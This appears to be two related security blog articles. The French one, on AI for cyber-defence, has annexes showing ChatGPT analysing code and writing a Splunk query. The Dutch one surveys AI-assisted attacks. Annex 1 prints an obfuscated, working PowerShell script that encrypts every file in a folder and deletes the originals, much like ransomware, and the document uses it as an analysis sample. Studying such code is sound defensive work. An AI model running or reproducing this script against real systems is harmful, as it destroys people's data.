Les vulnérabilités de sécurité dans le code sont un problème récurrent affectant la plupart des logiciels et ayant un impact sur l’intégrité, la confidentialité et la disponibilité. L’utilisation de certains langages de programmation connus pour être moins susceptibles que d’autres à des problèmes classiques est recommandée (par exemple Rust plutôt que C). L’examen du code par d’autres programmeurs experts est aussi une méthode largement répandue.

Mais l’analyse de Ganseman [21] conduit à se poser la question de l’utilité des LLM pour détecter des erreurs ou bogues dans du code existant ou pour aider à écrire du code plus sécurisé. La difficulté réside dans le fait, qu’à ce jour, il faut indiquer les endroits potentiels où le code n’est pas sûr, c’est-à-dire que c’est le développeur qui doit détecter où une amélioration est possible. Il se pourrait que dans un avenir proche, une base de code entière puisse être soumise à un examen de sécurité, mais pour l’instant, cela reste limité à la longueur du contexte et plus la question est précise, meilleure est la réponse.

Paradoxalement, Perry et al. [22] ont rapporté dans une étude récente que, bien que les assistants augmentent la productivité des développeurs, les participants ayant accès à un assistant basé sur un modèle d’IA (en l’occurrence le codex-davinci-002 de OpenAI) écrivaient un code significativement moins sécurisé que ceux sans accès. Pire, les participants avec un accès à l’assistant étaient plus enclins à croire qu’ils écrivaient du code sécurisé, que ceux sans l’assistant. L’adoption d’assistants impose donc la mise en place de pratiques de revue de code et d’analyse statique systématiques [21].

Conclusion

Même si les progrès de l’IA sont fulgurants dans beaucoup de domaines, l’apport non-négligeable de l’IA à la défense des systèmes informatiques reste néanmoins limité : nous sommes en effet encore loin des outils où il suffirait de donner des terra-octets de divers journaux d’événements pour que rapidement les signes d’intrusions soient détectés avec très peu d’erreur.

Aujourd’hui les méthodes statistiques spécialisées et d’apprentissage automatique – comme par exemple la détection d’anomalies – continuent de faire l’objet de recherches importantes et sont ajoutées aux outils commerciaux de détection d’intrusion avec l’étiquette « IA. » Mais en y regardant de plus près, l’IA apparaît principalement comme un nouvel outil de « productivité » pour des professionnels de cybersécurité, contribuant à l’automatisation de certaines tâches de cyber-défense, ou facilitant la réponse à des incidents et le traitement des renseignements sur les menaces, mais ne remplaçant pas l’analyste humain.

Références

[1]        B. Schneier, « Artificial Intelligence and the Attack/Defense Balance », IEEE Secur. Priv., vol. 16, n^o 2, p. 96‑96, mars 2018, doi: 10.1109/MSP.2018.1870857.

[2]        I. H. Sarker, H. Janicke, L. Maglaras, et S. Camtepe, « Data-Driven Intelligence can Revolutionize Today’s Cybersecurity World: A Position Paper ». arXiv, 9 août 2023. Consulté le: 27 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.05126

[3]        J. D’Hoinne, A. Litan, et P. Firstbrook, « 4 Ways Generative AI Will Impact CISOs and Their Teams », Gartner, G00793265, juin 2023.

[4]        M. Taddeo, T. McCutcheon, et L. Floridi, « Trusting artificial intelligence in cybersecurity is a double-edged sword », Nat. Mach. Intell., vol. 1, n^o 12, p. 557‑560, nov. 2019, doi: 10.1038/s42256-019-0109-1.

[5]        D. Dasgupta, Z. Akhtar, et S. Sen, « Machine learning in cybersecurity: a comprehensive survey », J. Def. Model. Simul. Appl. Methodol. Technol., vol. 19, n^o 1, p. 57‑106, janv. 2022, doi: 10.1177/1548512920951275.

[6]        M. Nouh, J. R. C. Nurse, H. Webb, et M. Goldsmith, « Cybercrime Investigators are Users Too! Understanding the Socio-Technical Challenges Faced by Law Enforcement », in Proceedings 2019 Workshop on Usable Security, 2019. doi: 10.14722/usec.2019.23032.

[7]        J. R. G. Evangelista, R. J. Sassi, M. Romero, et D. Napolitano, « Systematic Literature Review to Investigate the Application of Open Source Intelligence (OSINT) with Artificial Intelligence », J. Appl. Secur. Res., vol. 16, n^o 3, p. 345‑369, juill. 2021, doi: 10.1080/19361610.2020.1761737.

[8]        M. Sewak, V. Emani, et A. Naresh, « CRUSH: Cybersecurity Research using Universal LLMs and Semantic Hypernetworks », 2023.

[9]        K. A. Scarfone et P. M. Mell, « Guide to intrusion detection and prevention systems (IDPS) », National Institute of Standards and Technology, Gaithersburg, MD, NIST SP 800-94, 2007. doi: 10.6028/NIST.SP.800-94.

[10]       D. Denning, « An Intrusion-Detection Model », IEEE Trans. Softw. Eng., vol. 13, n^o 2, p. 222‑232, 20.

[11]       G. Apruzzese et al., « The role of machine learning in cybersecurity », Digit. Threats Res. Pract., vol. 4, n^o 1, p. 1‑38, mars 2023, doi: 10.1145/3545574.

[12]       A. Bohara, M. A. Noureddine, A. Fawaz, et W. H. Sanders, « An Unsupervised Multi-Detector Approach for Identifying Malicious Lateral Movement », in 2017 IEEE 36th Symposium on Reliable Distributed Systems (SRDS), Hong Kong, Hong Kong: IEEE, sept. 2017, p. 224‑233. doi: 10.1109/SRDS.2017.31.

[13]       G. Apruzzese, M. Marchetti, M. Colajanni, G. G. Zoccoli, et A. Guido, « Identifying malicious hosts involved in periodic communications », in 2017 IEEE 16th International Symposium on Network Computing and Applications (NCA), Cambridge, MA: IEEE, oct. 2017, p. 1‑8. doi: 10.1109/NCA.2017.8171326.

[14]       J. Yang, T. Li, G. Liang, W. He, et Y. Zhao, « A Simple Recurrent Unit Model Based Intrusion Detection System With DCGAN », IEEE Access, vol. 7, p. 83286‑83296, 2019, doi: 10.1109/ACCESS.2019.2922692.

[15]       L. Cavallaro, J. Kinder, F. Pendlebury, et F. Pierazzi, « Are Machine Learning Models for Malware Detection Ready for Prime Time? », IEEE Secur. Priv., vol. 21, n^o 2, p. 53‑56, mars 2023, doi: 10.1109/MSEC.2023.3236543.

[16]       J. L. Hernández-Ramos et al., « Intrusion detection based on federated learning: a systematic review ». arXiv, 18 août 2023. Consulté le: 17 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2308.09522

[17]       Y.-H. Su, M. C. Y. Cho, et H.-C. Huang, « False Alert Buster: an Adaptive Approach for NIDS False Alert Filtering », in Proceedings of the 2nd International Conference on Computing and Big Data, Taichung Taiwan: ACM, oct. 2019, p. 58‑62. doi: 10.1145/3366650.3366657.

[18]       M. Gupta, C. Akiri, K. Aryal, E. Parker, et L. Praharaj, « From ChatGPT to ThreatGPT: Impact of generative AI in cybersecurity and privacy », IEEE Access, vol. 11, p. 80218‑80245, août 2023, doi: 10.1109/ACCESS.2023.3300381.

[19]       M. A. Ferrag, M. Ndhlovu, N. Tihanyi, L. C. Cordeiro, M. Debbah, et T. Lestable, « Revolutionizing Cyber Threat Detection with Large Language Models ». arXiv, 25 juin 2023. Consulté le: 8 novembre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2306.14263

[20]       A. Krishnan, « 4 ChatGPT cybersecurity benefits for the enterprise | TechTarget », Security. Consulté le: 12 octobre 2023. [En ligne]. Disponible sur: https://www.techtarget.com/searchsecurity/tip/ChatGPT-cybersecurity-benefits-for-the-enterprise

[21]       J. Ganseman, « LLM pour code : the Good, the Bad and the Ugly | Smals Research », Smals Research Blog. Consulté le: 18 octobre 2023. [En ligne]. Disponible sur: /llms-pour-code/

[22]       N. Perry, M. Srivastava, D. Kumar, et D. Boneh, « Do Users Write More Insecure Code with AI Assistants? » arXiv, 16 décembre 2022. Consulté le: 3 octobre 2023. [En ligne]. Disponible sur: http://arxiv.org/abs/2211.03622

Annexe 1 – Analyse de script malveillant avec ChatGPT

L’exemple ci-dessous montre la réponse de ChatGPT 4.0 à la question « Que fait ce code ? » suivie d’un échantillon de code. On constate que malgré la tentative d’obfuscation et les commentaires erronés, ChatGPT analyse avec pertinence ce script qui chiffre tous les fichiers dans le dossier “C:\Local\chat_gpt_ps\test” ses sous-dossiers.

Script soumis à ChatGPT

function Compute_SHA256 {
    # Compute SHA 256 of an object in memory
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [String]$salt,
        [Parameter(Mandatory = $true, ParameterSetName = "param")]
        [String]$object
    )
    Begin {
        # Initialise hashing function
        $tmp = New-Object byte[] 16
        $sha1 = New-Object System.Security.Cryptography.SHA256Managed
        $sha2 = New-Object System.Security.Cryptography.AesManaged
        $sha2.Mode = 'CBC' -as [System.Security.Cryptography.CipherMode]
        $sha2.Padding = 'Zeros' -as [System.Security.Cryptography.PaddingMode]
        $sha2.BlockSize = 128
        $sha2.KeySize = 256
        [void][Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($tmp)
        $sha2.IV = $tmp
    }
    Process {
        # Compute hash
        $sha2.Key = $sha1.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($salt))
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUl0ZW0gLVBhdGggJG9iamVjdCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ=="))
        $object2 = Invoke-Expression $dynCmd
        if (!$object2.FullName) {
            break
        }
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRvYmplY3QyLkZ1bGxOYW1lKQ=="))
        $input = Invoke-Expression $dynCmd
        $output = $object2.FullName + ".xxx"
        $sha2_hasher = $sha2.CreateEncryptor()
        $encryptedBytes = $sha2_hasher.TransformFinalBlock($input, 0, $input.Length)
        $encryptedBytes = $sha2.IV + $encryptedBytes
        $sha2.Dispose()
       
        $e = $output
        $encD = $encryptedBytes
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZSwgJGVuY0Qp"))
        Invoke-Expression $dynCmd
        (Get-Item $output).LastWriteTime = $object2.LastWriteTime
        $f = $object2
        $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
        Invoke-Expression $dynCmd
        return "Sortie: $output"        
    }
    End {
        $sha1.Dispose()
        $sha2.Dispose()
    }
}

$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("R2V0LUNoaWxkSXRlbSAtUGF0aCAiQzpcTG9jYWxcY2hhdF9ncHRfcHNcdGVzdCIgLUZpbGUgLVJlY3Vyc2U="))

Invoke-Expression $dynCmd | ForEach-Object {
    $object = $_.FullName
    Compute_SHA256 -salt "salty" -object $object
}

Réponse de ChatGPT

Ce script PowerShell définit une fonction nommée Compute_SHA256, qui effectue plusieurs opérations sur les fichiers, notamment le calcul du hachage SHA-256, le chiffrement AES, et la manipulation de fichiers. Voici un détail étape par étape de ce que fait le script :

1. Initialisation :
   • Définition de paramètres pour la fonction Compute_SHA256 qui incluent un salt et un object (nom de fichier).
   • Initialisation d’un objet de cryptographie AES ($sha2) avec des paramètres spécifiques pour le mode de chiffrement, le padding, la taille de bloc, et la taille de clé.
2. Traitement :
   • Utilisation de SHA-256 pour générer une clé de chiffrement à partir du salt
   • Déchiffrement de chaînes codées en Base64 pour obtenir des commandes PowerShell qui sont exécutées dynamiquement pour :
     • Lire le contenu d’un fichier spécifié.
     • Chiffrer le contenu du fichier avec AES en utilisant la clé générée précédemment.
     • Concaténer le vecteur d’initialisation (IV) avec le contenu chiffré.
     • Écrire les données chiffrées dans un nouveau fichier avec l’extension .xxx.
     • Mettre à jour le timestamp du nouveau fichier pour qu’il corresponde à celui de l’original.
     • Supprimer le fichier original.

3. Fin de traitement :
   • Libération des ressources utilisées par les objets de cryptographie.
4. Exécution :
   • Le script exécute une commande pour lister tous les fichiers dans un chemin spécifié de manière récursive.
   • Pour chaque fichier trouvé, il appelle la fonction Compute_SHA256 avec un salt fixe (“salty”) et le chemin du fichier.

Objectifs principaux du script

• Chiffrer des fichiers : Le contenu des fichiers est chiffré avec AES, utilisant une clé dérivée d’un salt.
• Suppression sécurisée : Après le chiffrement, les fichiers originaux sont supprimés, ce qui pourrait être utilisé pour une sorte de nettoyage de données.
• Automatisation de processus : L’exécution des commandes est effectuée de manière dynamique, probablement pour masquer les actions effectuées (en utilisant le décodage Base64 pour cacher les commandes réelles).

Points d’attention

• Sécurité : Le script effectue des actions dynamiques (via Invoke-Expression), ce qui peut être risqué si les entrées ne sont pas correctement validées ou si le script est utilisé dans un environnement non sécurisé.

Modification de données : Il supprime les fichiers originaux après le chiffrement, ce qui peut entraîner une perte de données si le processus n’est pas contrôlé.

Question complémentaire

Où constates-tu que les fichiers originaux sont supprimés?

Réponse de ChatGPT

Les fichiers originaux sont supprimés à la fin de la section de traitement (Process) de la fonction Compute_SHA256. Cela est réalisé grâce à ces étapes spécifiques dans le script :

1. La variable $f est assignée à $object2, qui contient les informations sur le fichier original.
2. Une chaîne de commande est construite pour exécuter la commande Remove-Item, qui est utilisée pour supprimer des fichiers. La commande est constituée en concaténant la chaîne “Remove-Item -Path “ avec le chemin complet du fichier contenu dans $f.
3. La commande complète est exécutée avec Invoke-Expression, effectuant la suppression du fichier original spécifié par $f.

Voici la portion pertinente du script où cela se produit :

$f = $object2
$dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'"
Invoke-Expression $dynCmd

La chaîne codée en Base64 “UmVtb3ZlLUl0ZW0gLVBhdGgg” est décodée pour donner “Remove-Item -Path “, formant ainsi la commande complète pour supprimer le fichier.

Annexe 2 – Génération de script d’analyse

Example de génération d’un script d’analyse très simple d’un journal d’événement dans le langage SPL de Splunk.

Demande faite à ChatGPT

Écris un script Splunk qui filtre les entrées dont l’adresse source IP n’est pas réservée et n’est pas en Belgique et dont la destination est une IP de classe A commençant par 10.

Réponse de ChatGPT

Pour créer un script Splunk qui filtre les entrées de journalisation en fonction de l’adresse IP source (qui n’est ni réservée ni en Belgique) et de l’adresse IP de destination (qui commence par 10), il faudrait d’abord disposer d’une liste des plages d’adresses IP attribuées à la Belgique. Cependant, Splunk en soi n’effectue pas de géolocalisation directe des adresses IP. Vous auriez besoin d’une table de correspondance IP-pays ou d’utiliser une fonctionnalité d’enrichissement des données qui mappe les adresses IP aux pays.

Pour les besoins de cet exemple, je vais supposer que vous avez accès à une telle table ou à une fonctionnalité dans Splunk. Je vais également supposer que les champs sont nommés src_ip pour l’adresse IP source et dest_ip pour l’adresse IP de destination.

Voici comment pourrait ressembler votre script Splunk :

index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search NOT [ search index=ton_index | lookup ip_country_lookup src_ip OUTPUT country | search country="BE" | fields src_ip ] | regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" | regex dest_ip="^10\." | table src_ip, dest_ip, country, _raw

Explication du script :

1. index=ton_index : Remplace ton_index par l’index approprié qui contient tes données de logs.
2. lookup ip_country_lookup src_ip OUTPUT country : Effectue un lookup pour déterminer le pays de l’adresse IP source. Remplace ip_country_lookup par le nom réel de ta table de lookup ou de ton enrichissement de données qui mappe les adresses IP aux pays.
3. La sous-requête search NOT […] exclut toutes les adresses IP provenant de la Belgique. fields src_ip est utilisé pour retourner uniquement les adresses IP de la sous-requête.
4. regex src_ip!="^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" : Exclut les adresses IP réservées.
5. regex dest_ip=”^10\.” : Filtre pour inclure uniquement les entrées dont l’adresse IP de destination commence par 10.
6. table src_ip, dest_ip, country, _raw : Affiche les adresses IP source et destination, le pays de l’adresse source, et la ligne brute du journal.

Ce script nécessite que tu aies une lookup table configurée correctement pour la correspondance des adresses IP aux pays, ce qui n’est pas automatiquement disponible dans Splunk. Il te faudra configurer ou obtenir ces données par toi-même ou utiliser une application Splunk tierce qui offre cette capacité.

Notes

¹   https://cordis.europa.eu/project/id/700692

²   Une analyse systématique des publications sur l’utilisation de l’IA pour l’OSINT montre que la cybersécurité représente près de la moitié des publications considérées [7].

³   Les auteurs indiquent un rappel de 90%. En général, le rappel est défini par le nombre de documents pertinents retrouvés au regard du nombre de documents pertinents que possède la base de données.

⁴   Son modèle utilise des statistiques pour la détection des anomalies (modèle statistique simple, chaîne de Markov et séries temporelles).

⁵   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

⁶   https://github.com/GreyDGL/PentestGPT

⁷   https://www.hackthebox.com/

⁸   Supposons que dans un journal d’un million d’événements, on estime qu’il y ait 100 événements correspondant réellement à une intrusion. Supposons également qu’un fabriquant nous vende un système de détection d’intrusion dont la sensibilité est de 99,9%, c’est-à-dire qu’il y a un taux de 0,1% de faux négatifs parmi les événements correspondant à de véritables intrusions, et dont la spécificité est également de 99,9% c’est-à-dire qu’il y a un taux de 0,1% de faux positifs parmi les événements ne correspondant pas à des intrusions. Si le logiciel du fabriquant signale une alerte, quelle est alors la probabilité que celle-ci corresponde effectivement à une intrusion ?

Instinctivement, beaucoup diraient « 99,9%. » Pourtant, si l’on dénote I la variable aléatoire correspondant à une intrusion, et A, celle relative à une alerte, il est possible de réécrire les hypothèses ci-dessus de la manière suivante : si P(I)=100/1.000.000, P(A│I)=0,999, et P(¬A│¬I)=0,999, alors quelle est la valeur de P(I|A) ? Le théorème de Bayes, nous donne : P(I│A)=P(I)⋅P(A|I)/P(A) avec P(A)=P(I)⋅P(A│I)+P(¬I)⋅P(A|¬I) et P(A│¬I)=1−P(¬A│¬I)=0,001. Ce qui conduit à 9,08% de probabilité que l’alerte donnée soit effectivement une intrusion et non 99,9% !

⁹ Une méthode non-paramétrique d’estimation de la densité de probabilité d’une variable aléatoire

¹⁰ https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

¹¹ https://falconllm.tii.ae/

_________________________

Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n’impacte en rien le point de vue de Smals.

De meeste publicaties over artificiële ‘intelligentie’ (AI) die handelen over beveiliging en aanval richten zich op de studie van aanvallen op algoritmen voor machine learning (zie bv. [1]) en verdedigingen tegen dergelijke aanvallen. Traditionele kwaadaardige aanvallen op AI-systemen doen zich bijvoorbeeld voor wanneer een tegenpartij invoergegevens manipuleert om algoritmen voor machine learning te misleiden, wat resulteert in een verkeerde classificatie¹.

Desondanks wordt in een aanzienlijk aantal artikelen AI ook onderzocht als een mogelijk wapen tegen informatiesystemen – waardoor mogelijk snellere, grootschaligere en verdergaande aanvallen mogelijk zijn – en als een hulpmiddel om bestaande aanvalsvectoren te verbeteren.

In een vorig artikel hebben we kort uitgelegd wat er achter de term ‘artificiële intelligentie’ schuilgaat door enkele basistechnieken te beschrijven die worden gebruikt in cybersecurity. In dit artikel kijken we naar het gebruik van AI om aanvallen op computersystemen te vergemakkelijken. We beschrijven in het bijzonder hoe AI verschillende aanvalsvectoren kan wijzigen of al wijzigt.

Pessimistische voorspellingen

In 2018 merkten Brundage et al. [2] op dat het toenemende gebruik van AI drie veranderingen in het dreigingslandschap met zich mee zou brengen:

• Een uitbreiding van bestaande bedreigingen: AI zou de kosten van aanvallen kunnen verlagen door minder mankracht nodig te hebben, maar ook een breder scala aan potentiële doelwitten kunnen bereiken.
• Introductie van nieuwe bedreigingen: AI-systemen zouden taken kunnen uitvoeren die normaal gesproken onmogelijk zijn voor een mens.
• Een verandering in de typische aard van bedreigingen: aanvallen die mogelijk worden gemaakt door het gebruik van AI kunnen effectiever, gerichter en moeilijker toe te schrijven

Deze voorspellingen worden ondersteund door een recent rapport van het Britse National Cyber Security Centre (NCSC), dat een toename voorspelt in het aantal en de effectiviteit van AI-gebaseerde cybersecuritydreigingen [3].

Eenvoudige toegang tot LLM’s zou adversaries bijvoorbeeld in staat kunnen stellen om hun eigen beperkingen op het gebied van middelen, vaardigheden en/of kennis te omzeilen. Bovendien kan ongecontroleerd gebruik van AI-toepassingen in interne projecten of door minder alerte werknemers nieuwe aanvalsoppervlakken creëren en leiden tot het lekken van persoonlijke gegevens, intellectueel eigendom of vertrouwelijke informatie.

Phishing en social engineering

Al in 1966 werd met ELIZA, een van de eerste conversational agents, ontdekt dat mensen door machines kunnen worden misleid [4]. Natuurlijke taalverwerking is een AI-toepassing waarbij klaartekst de databron is waaruit modellen worden geëxtraheerd². Taalverwerking wordt met succes gebruikt voor vele toepassingen. Het detecteren van ongewenste mails is een voorbeeld, net als het omgekeerde, het omzeilen van spamfilters (bv. [5]).

Phishing is bijzonder geschikt voor deze laatste benadering, omdat tekstmodellen kunnen worden gebruikt om onderwerpen te identificeren die interessant zijn voor het doelwit en zinnen te genereren waarop het doelwit zou kunnen reageren. In [6], bijvoorbeeld, gebruiken de auteurs een Markovmodel en een recurrent neural network om aan te tonen dat het mogelijk is om automatisch berichten te genereren die gebruikt worden in een phishingprocedure op Twitter: de tool leert om het volgende woord te voorspellen op basis van de vorige context in de publicatiegeschiedenis van het doelwit. Elk bericht is dus afgestemd op een bepaald doelwit, waardoor de nauwkeurigheid van de aanval toeneemt.

Gezien het vermogen van LLM’s om context beter te ‘begrijpen’, en om menselijke tekst beter na te bootsen (soms zelfs met minder fouten [7]³), zien we dat dergelijke tools al worden gebruikt om het schrijven, met de juiste toon, van plausibele mails van collega’s, vrienden, familie of populaire e-commerce sites te vergemakkelijken, mogelijk op basis van informatie uit sociale media [8] (zie “Bijlage – Phishingmails genereren“). Erger nog: het is nu mogelijk om, zonder enige kennis op het gebied van security, ChatGPT te gebruiken om niet alleen phishingmails te genereren, maar ook de bijbehorende website [9]. Dit is des te verontrustender als je bedenkt dat 94% van de ontdekte kwaadaardige software nog steeds per mail wordt verzonden [10].

Een ander voorbeeld van het gebruik van AI om phishingaanvallen te vergemakkelijken is DeepFish [11]. Deze software produceert nieuwe synthetische phishing webadressen door modellen te leren van de meest effectieve webadressen in historische aanvallen⁴. Deze adressen kunnen vervolgens worden gebruikt in phishingmails of andere kanalen zoals bijvoorbeeld misleidende advertenties. Kort na de lancering van Bing Chat, voegde Microsoft de mogelijkheid toe om advertenties in conversaties te introduceren. Helaas houden advertenties een inherent risico in en kunnen ze gebruikers ertoe aanzetten om software te downloaden, schadelijke sites te bezoeken en malware te installeren, rechtstreeks vanuit een Bing Chatgesprek [12].

Automatisch hacken

AI maakt het mogelijk om aanvallen op machinesnelheid uit te voeren. Deephack [13] is bijvoorbeeld een softwareagent van een paar honderd regels Python die met behulp van een neuraal netwerk en trial-and-error leert in te breken in webtoepassingen. Het leert om verschillende soorten kwetsbaarheden te misbruiken, wat de deur kan openen naar een groot aantal nieuwe hacksystemen.

DeepLocker⁵ gaat verder door zijn kwaadaardige bedoelingen te verbergen en zichzelf te activeren voor specifieke doelwitten. Om te bepalen of de machine waarop de code van DeepLocker wordt uitgevoerd een doelwit is of niet, gebruikt DeepLocker een complex artificieel neuraal netwerk⁶ in plaats van een eenvoudige lijst met regels. Dit voorkomt dat tools die de software statisch en dynamisch analyseren de aanwezigheid van kwaadaardige code niet kunnen detecteren⁷. DeepLocker gebruikt ook een ander neuraal netwerk om een sleutel te genereren om het schadelijke deel van zijn code te encrypteren of decrypteren, waardoor het moeilijker te detecteren is.

Bepaalde hackprocedures zouden vereenvoudigd en versneld kunnen worden met behulp van generatieve modellen. Kwaadwillenden zouden bijvoorbeeld tools zoals PentestGPT⁸ kunnen gebruiken. Deze tool kan helpen bij het beheren van verschillende taken in een penetratietestproces, zoals het gebruik van specifieke tools (in het bijzonder het gebruik van commando’s met complexe opties die vaak moeilijk zijn voor een mens) en het suggereren van de te volgen stappen [14]. Volgens de auteurs kan deze tool zelfs een “intuïtie” geven over wat te doen in een bepaald inbraakscenario. We missen hier echter effectieve aanbevelingen voor het zelfstandig uitvoeren van taken. De tool is bovendien niet in staat om een samenhangend begrip van het testscenario te behouden. Maar Fang et al. hebben aangetoond dat agents die worden gevoed door LLM’s zoals ChatGPT zelfstandig over het web kunnen zwerven en onbewaakt buggy webtoepassingen kunnen binnendringen [15].

Tot slot zouden generatieve AI-tools, getraind op voldoende grote kwetsbaarhedendatabases, ook kunnen worden gebruikt om codeanalyse te automatiseren en zo uitbuitbare kwetsbaarheden te identificeren, maar de kosten voor het maken van dergelijke modellen zijn hoog.

Payload en kwaadaardige code genereren

Tijdens een cyberaanval is de payload het onderdeel van de aanval dat de schade veroorzaakt (bv. het verwijderen van bestanden). Deze kan aanwezig zijn in een virus of worm, een bijlage of een query die naar een SQL-database wordt gestuurd. Volgens Gupta et al. [16], kan een generatieve AI-tool worden gebruikt om payloads te genereren, in sommige gevallen op zulke manier dat ze niet kunnen worden gedetecteerd door een Web Application Firewall (WAF).

Een generatieve AI-tool kan ook worden gebruikt om malware of ransomware te schrijven: Guptal et al. [16] voerden verschillende tests uit met ChatGPT die ze met name overtuigden om voorbeeldcode te leveren voor verschillende malware zoals NotPetya⁹, REvil¹⁰, Ryuk¹¹ en WannaCry¹². De resultaten zijn niet direct bruikbaar, maar geven een high-level structuur van de code, die redelijk voor de hand ligt voor wie wel eens geprogrammeerd heeft, maar die de komende jaren tot grote verbeteringen zou kunnen leiden. Vergelijkbare tests zijn ook uitgevoerd, met vergelijkbare resultaten, voor virussen die misbruik maken van kwetsbaarheden zoals Meltdown¹³, RowHammer¹⁴ en Spectre¹⁵.

Hutchins [17] heeft echter ernstige twijfels over de mogelijkheid om kwaadaardige software te genereren met behulp van AI, en in het bijzonder met behulp van tools zoals ChatGPT, die zeker niet in staat zijn om volledig functionele software te maken, maar in het beste geval kleine bouwstenen kunnen leveren die moeilijk in elkaar te zetten zijn. Hij wijst er ook op dat deze door AI gegenereerde code al bestaat op het internet.

Aanvallen op fysieke systemen

Tenslotte, als wordt aangenomen dat fysieke systemen (bv. een koelbesturingssysteem) minder veilig zijn dan de IT-infrastructuur en relatief gemakkelijker te misbruiken zijn, dan is het mogelijk om malware te gebruiken om een IT-infrastructuur indirect aan te vallen via het fysieke systeem, waarbij de kwaadaardige acties worden vermomd als toevallige storingen (bv. een gesimuleerde oververhitting die leidt tot een echte noodstop). Dat vertonen Chung et al. [18]. Hun tool leert automatisch aanvalsstrategieën aan de hand van metingen die door het fysieke systeem zijn verzameld.

Analyse van cyberaanvallen die gebruik maken van AI

Om beveiligingsingenieurs in staat te stellen de classificatie van AI-gebaseerde bedreigingen en hun impact effectief te bestuderen, alsook de strategie van de aanvallers beter te begrijpen, stellen Nektaria et al. [19] een framework voor om AI-gebaseerde cyberaanvallen te analyseren. Het is gebaseerd op het bestaande en veelgebruikte ‘Cyber Kill Chain’-framework dat is ontwikkeld door Lockheed Martin en bestaat uit drie niveaus:

• Aanvalsfasen en -doelen: dit eerste niveau wordt gebruikt om te beschrijven wanneer een aanvaller zijn kwaadaardige doelen kan bereiken in functie van de levenscyclus van de cyberaanval. Het vertegenwoordigt de intentie van de aanvaller en het type AI-techniek dat wordt gebruikt om de kwaadaardige acties uit te voeren, afhankelijk van elke fase in de levenscyclus van de cyberaanval.
• Impact en classificatie van kwaadaardige AI: dit tweede niveau is een classificatie op basis van de impact van het kwaadaardige gebruik van AI-technieken, waarbij de potentiële impact wordt weergegeven, afhankelijk van de fase van de toegepaste aanval.
• Classificatie van verdedigingsmethoden: verdediging tegen AI-gebaseerde cyberaanvallen kan niet worden uitgevoerd met een eenvoudige oplossing of een enkele tool. Een diepgaande verdedigingsaanpak is gedurende de hele levenscyclus van cyberaanvallen noodzakelijk om de “intelligentie” van de nieuwe methoden te bestrijden.

Conclusie

Door de hierboven gegeven voorbeelden lijkt AI vooral een nieuwe ‘productiviteitstool’ voor reeds goed gemotiveerde (al dan niet) professionele aanvallers. De ernstigste dreiging die AI voor security zou kunnen vormen, is de ontdekking op grote schaal van geheel nieuwe aanvalsklassen. Er is echter geen bewijs dat een dergelijke ontdekking waarschijnlijker is dan die van menselijke actoren.

Toch blijven er nog veel vragen over hoe deze geavanceerde bedreigingen kunnen worden voorkomen en beperkt, maar een goede dreigingsanalyse met een geschikt framework is een goed startpunt. Verder geloven we dat een effectieve manier om AI-enabled tegenpartijen te bestrijden ook zal bestaan uit het zelf inzetten van AI competitief te zijn qua bereik, snelheid en schaal. Zoals we in een laatste artikel over dit onderwerp zullen zien, zou AI inderdaad kunnen helpen bij het automatiseren van cyberverdedigingstaken zoals vulnerability assessment, intrusion detection, incident response en threat intelligence processing.

Referenties

[1]        N. Papernot, P. McDaniel, S. Jha, M. Fredrikson, Z. B. Celik, en A. Swami, ‘The limitations of deep learning in adversarial settings’. arXiv, 23 november 2015. Geraadpleegd: 27 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/1511.07528

[2]        M. Brundage e.a., ‘The malicious use of artificial intelligence: forecasting, prevention and mitigation’, feb. 2018.

[3]        ‘The near-term impact of AI on the cyber threat’, National Cyber Security Centre, jan. 2024. Geraadpleegd: 27 januari 2024. [Online]. Beschikbaar op: https://www.ncsc.gov.uk/pdfs/report/impact-of-ai-on-cyber-threat.pdf

[4]        J. Weizenbaum, ‘ELIZA—a computer program for the study of natural language communication between man and machine’, Commun. ACM, vol. 9, nr. 1, pp. 36-45, jan. 1966, doi: https://doi.org/10.1145/365153.365168.

[5]        S. Palka en D. McCoy, ‘Fuzzing e-mail filters with generative grammars and n-gram analysis’, in WOOT’15: Proceedings of the 9th USENIX Conference on Offensive Technologies, aug. 2015.

[6]        J. Seymour en P. Tully, ‘Weaponizing data science for social engineering: Automated E2E spear phishing on Twitter’, gepresenteerd bij Black Hat USA, 2016, pp. 1-8.

[7]        M. Heikkilä, ‘How to spot AI-generated text’, MIT Technology Review. Geraadpleegd: 11 oktober 2023. [Online]. Beschikbaar op: https://www.technologyreview.com/2022/12/19/1065596/how-to-spot-ai-generated-text/

[8]        J. Chapman, ‘Phishing threat trends report – From pretexting to payloads, how have phishing attacks evolved in 2023?’, egress, okt. 2023. Geraadpleegd: 7 november 2023. [Online]. Beschikbaar op: https://www.egress.com/media/mq4kwitu/egress_phishing_threat_trends_report.pdf

